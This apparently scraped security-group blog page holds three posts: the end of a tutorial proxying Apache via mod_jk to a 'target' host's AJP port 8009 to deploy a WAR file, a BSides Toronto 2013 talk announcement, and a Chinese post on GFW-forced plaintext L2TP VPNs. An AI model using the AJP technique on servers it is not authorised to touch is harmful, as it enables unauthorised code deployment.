JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories

# JkRequestLogFormat set the request format

JkRequestLogFormat "%w %V %T"

# Shm log file

JkShmFile /var/log/apache2/jk-runtime-status

Create a link with ln command to /etc/apache2/mods-enabled/:

ln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.conf

Configure jk_workers.properties as below:

root@mickey:/etc/apache2# cat jk_workers.properties

worker.list=ajp13

# Set properties for worker named ajp13 to use ajp13 protocol,

# and run on port 8009

worker.ajp13.type=ajp13

worker.ajp13.host=192.168.0.102 <\---|Here is target ip address

worker.ajp13.port=8009

worker.ajp13.lbfactor=50

worker.ajp13.cachesize=10

worker.ajp13.cache_timeout=600

worker.ajp13.socket_keepalive=1

worker.ajp13.socket_timeout=300

Default websites configuration:(as configure in /etc/apache2/sites-enabled/000-default )图片3

Restart apache:

sudo a2enmod proxy_ajp
sudo a2enmod proxy_http
sudo /etc/init.d/apache2 restart

We have configured mod_jk of the module, then access on 192.168.0.103 port 80 that will redirect to 192.168.0.102 port 8009,  Now, we can deploy WAR file.

图片4

Translated by Hip

BSides Toronto 2013

bsides

I appreciate to announce this information, Our member (Kevin) of Insight-labs who will present in Toronto at BSides Conference on Oct 5,2013.

The topic is RF-Ninja-Hacking, If you guys interesting in this field or speaker, welcome to join this presentation or online video.

BSides Toronto Conference 2013:
http://www.bsidesto.ca/

警惕IPSec/L2TP VPN被GFW干扰后变明文

昨天拿服务器搭了个ipsec/l2tp的vpn给朋友翻墙,朋友说连上之后只要一上国外网站,facebook,youtube之类的就会断线,我觉得很不可思议,明明都是加密了的,这不科学。

后来把debug打开,tail -f /var/log/secure,tail -f /var/log/message,一般情况下,连ipsec l2tp vpn,secure log会显出现IKEv2握手的日志,最后会出现transport xxx established,说明ipsec通道建立完成,然后message log才开始出现ppp登录记录,但是每次我朋友拨vpn的时候,根本看不到secure log里有任何动静,上来就是ppp登录。

后来用nc发udp包做测试,正常情况下,用nc发送任意内容的udp包到udp 500端口,可以看到secure日志里提示数据包畸形(malformed xxxx),但是朋友用nc测试,也没有任何提示,说明udp包在500端口被drop了。
最诡异的一点是windows这时候居然还能建立成功vpn,即使打开了 需要加密(如果服务器拒绝将断开连接) 这个选项,还是可以建立成功vpn通道,只不过这个时候是明文的,而且gfw可以重建通道内的数据包进行审查。
如果打开强制使用最大程度加密的选项,vpn则会建立失败。但是在没有被封锁的地区是可以连上的。

GFW以前是不管ipsec vpn的……
鉴于vpn对大家有着比翻墙更重要的用途,使用l2tp vpn的时候记得打开强制使用最大程度加密的选项,否则很容易在被gfw干扰的情况下变成明文vpn。